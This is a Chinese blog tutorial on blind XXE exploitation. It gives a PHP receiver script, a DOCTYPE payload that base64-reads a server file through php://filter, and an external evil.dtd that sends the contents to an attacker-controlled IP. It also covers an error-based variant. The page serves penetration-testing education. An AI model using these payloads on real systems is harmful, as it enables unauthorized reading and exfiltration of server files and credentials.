XXE无回显攻击详解

今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE无回显攻击详解。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、XXE无回显攻击简介

XXE漏洞详解(三)——XXE漏洞实际运用一文中,我们讲解了XXE漏洞在目标站点站点存在回显的情况下如何利用。但是,有时目标站点只会接收并处理我们上传的XML文档,但是并不会将处理结果显示在页面上。我们把这种情况称之为无回显的XXE漏洞。
针对这种情况,我们的思路有两种,一种是让Web服务器访问我们自己搭建的一个站点,将目标文件进行Base64加密后当作访问站点时的一个参数携带,这样我们就可以接收信息了。另一种思路是使得Web获得敏感文件数据后,访问一个不存在的地址,这样在页面上会产生报错,我们也可以获得信息了。

二、XXE无回显攻击实战

下面,我们就进行XXE无回显的攻击实战。
我们首先来搭建一个可以获取信息的站点,PHP代码如下所示:

<?php
$data=$_GET['data'];
$fp = fopen('data.txt','a');
fwrite($fp,$data);
fclose($fp);
echo "<user><username>admin</username><password>admin</password></user>";
?>

在上述代码中,PHP会接收以GET方式传入的data变量值,并将这个变量值写入本地的data.txt文档,并且还会返回一个XML格式的数据。假设这个站点IP地址为192.168.136.1(本地实验使用,真正实战中因该为一个公网IP地址)。那么我们的EXP如下所示:

<!DOCTYPE updateProfile [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./doLogin.php">
    <!ENTITY % dtd SYSTEM "http://192.168.136.1/test/evil.dtd">
    %dtd;
    %send;
]>

而http://192.168.136.1/test/evil.dtd文件的内容是:

<!ENTITY % all
    "<!ENTITY &#x25; send SYSTEM 'http://192.168.136.1/test/receive.php?data=%file;'>"
>
%all;

这样,我们将上述EXP输入后,查看本地data.txt文件,结果如下所示:
在这里插入图片描述
此外,如果我们把http://192.168.136.1/test/evil.dtd文件中的IP地址改为一个根本不存在的IP地址,那么就会在页面上产生报错,也可以将获得的信息显现出来,如下所示:
在这里插入图片描述
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

永远是少年啊

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值